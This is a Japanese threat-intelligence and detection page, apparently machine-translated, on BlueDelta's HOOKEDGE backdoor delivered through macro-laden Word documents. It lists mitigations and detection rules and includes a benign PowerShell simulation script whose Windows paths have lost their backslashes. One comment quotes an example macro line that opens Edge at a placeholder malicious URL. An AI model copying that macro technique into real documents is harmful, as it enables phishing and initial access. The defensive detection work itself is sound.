BlueDeltaが防衛および外交目標に対してHOOKEDGEを展開
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
ロシア政府支援の脅威グループBlueDeltaは、軽量なWindowsバッチスクリプト型バックドアであるHOOKEDGEを使って初期アクセスキャンペーンを実施しました。このグループは、マクロ搭載のMicrosoft Word文書を通じてマルウェアを配信し、外交に関連するテーマの誘導を使用し、正当なWebhookサービスをコマンド&コントロールやデータの抽出に悪用しています。これらのキャンペーンは主に政府や外交組織を標的にし、ロシアの情報目的を支援しています。
調査
Insikt Groupは2025年後半から2026年初頭にかけて、ルーマニア、スペイン、そしてトルコの組織を対象とした複数のキャンペーンを特定しました。この調査では、HOOKEDGEがHEADLACEバックドアの進化後継であることが判明し、コアアーキテクチャと運用技術を共有しています。アナリストはまた、初期のトリアージを実行する第一段階のインプラントが、高価値ターゲットに展開されるより高度な第二段階のペイロードに先立って使用される階層型モデルを観察しました。
緩和策
組織は、インターネット由来の文書におけるマクロを無効化し、署名されていないVBAマクロをブロックするポリシーを実施するべきです。セキュリティチームは、スケジュールされたタスクの悪用や、非表示モードを含む異常なMicrosoft Edgeの実行を監視するべきです。また、正当なWebhookサービスへのアウトバウンドトラフィックを検査することもできる可能性のあるコマンド&コントロール活動の識別に役立ちます。 webhook.site も参照いただけます。
対応策
BlueDeltaの活動が検出された場合、セキュリティチームは疑わしいスケジュールタスクの作成や異常なブラウザの自動化動作を調査するべきです。対応者は文書開封カナリアやネットワークテレメトリーを使用し、初期の侵害の範囲を特定するべきです。封じ込めの努力は、特定されたWebhookエンドポイントのブロックとMicrosoft Officeのセキュリティコントロールの強化を優先すべきです。
攻撃の流れ
検出
疑わしいスケジュールタスク (監査経由)
LOLBAS WScript / CScript (プロセス生成経由)
可能性のあるウェブフックエンドポイント経由マルウェア配布 (プロキシ経由)
可能性のあるウェブフックエンドポイント経由マルウェア配布 (DNS経由)
検出対象のIOC (HashSha256): BlueDeltaがHOOKEDGEを用いて防衛と外交を標的にするパート2
検出対象のIOC (HashSha256): BlueDeltaがHOOKEDGEを用いて防衛と外交を標的にするパート1
自動オープンマクロを介したBlueDelta HOOKEDGE実行の検出 [Windowsプロセス生成]
HOOKEDGE バックドア実行と抽出の検出 [Windowsファイルイベント]
シミュレーション実行
前提条件: テレメトリーとベースラインの事前チェックが合格していること。
根拠: このセクションでは、検出ルールをトリガするよう設計された敵手技術(TTP)の正確な実行を詳細に述べます。コマンドと説明は、特定されたTTPと直接反映し、検出ロジックによって予想される正確なテレメトリーを生成することを目的としています。抽象的または関連性のない例は誤診につながります。
-
攻撃の流れとコマンド: 敵はWord文書を含むフィッシングメールを送信します。被害者がマクロを有効にすると、VBAスクリプトが実行されます。直接的にバイナリをダウンロードする代わりに、マクロは
シェル機能を利用してmsedge.exeを特定のURLで起動します。この技法は、正当なブラウザを利用し、ファイアウォールの制限を回避し、「活用可能なプログラムを用いる」手法でHTTP/Sを通じて悪意のあるサイトに到達するか、データを抽出します。検出ルールの特定のParentImage == winword.exeandImage == msedge.exeロジックをトリガすることを目標としています。 -
回帰テストスクリプト:
# シミュレーションスクリプト: BlueDelta HOOKEDGE 検出ロジックのトリガ # このスクリプトは、マクロ対応Word文書がEdgeを起動する動作をシミュレートします。 $WordPath = "C:Program FilesMicrosoft OfficerootOffice16WINWORD.EXE" $EdgePath = "C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe" if (-not (Test-Path $WordPath)) { Write-Error "Word executable not found at $WordPath. Please adjust path." exit } Write-Host "[*] 時点: Winword 起動中..." $WordProcess = Start-Process -FilePath $WordPath -PassThru # "マクロ"の実行を、WordプロセスがEdgeを生成することでシミュレート # 実際の状況では、これはVBA経由で行われます: Shell("msedge.exe http://malicious.com") Write-Host "[*] VBAマクロの実行をシミュレート中: winword.exeからmsedge.exeを生成中..." # 子プロセスがWinwordの子として見えるようにするトリックを使います。 # 高度なツールなしに実行中のWordプロセスに簡単に注入することはできないため、 # 系譜を模倣するサブプロセスを起動することで、この動作をシミュレートします # 環境が許可する場合は、PowerShellなどのツールを使用して特定の親子関係をトリガ $Action = { Start-Process -FilePath $EdgePath -ArgumentList "https://www.google.com" } # 親プロセスがWinwordであることを保証するために、Edgeを起動するコマンドを実行します # 注: 実際のテストでは、コンパイルされたDLLや実際のVBAを使用します。 # ここではブリッジとして機能するPowerShellコマンドを使用します。 Start-Process -FilePath "powershell.exe" -ArgumentList "-Command & {$Action}" -WindowStyle Hidden # 注: 提供された正確な検出ルールのためには、ルールはWINWORD -> MSEDGEを期待します。 # ルールが厳密に'ParentImageがwinword.exeで終わる'となっている場合、 # 純粋なレッドチームツール(カスタムVBAマクロなど)が必要です。 Write-Host "[+] シミュレーションコマンドを送信しました。SIEMでwinword.exe -> msedge.exeをモニターしてください" Start-Sleep -Seconds 10 Stop-Process -Id $WordProcess.Id -Force -
クリーンアップコマンド:
# クリーンアップ: シミュレーションからの残りプロセスがないことを確認します Stop-Process -Name "winword" -ErrorAction SilentlyContinue Stop-Process -Name "msedge" -ErrorAction SilentlyContinue Stop-Process -Name "powershell" -ErrorAction SilentlyContinue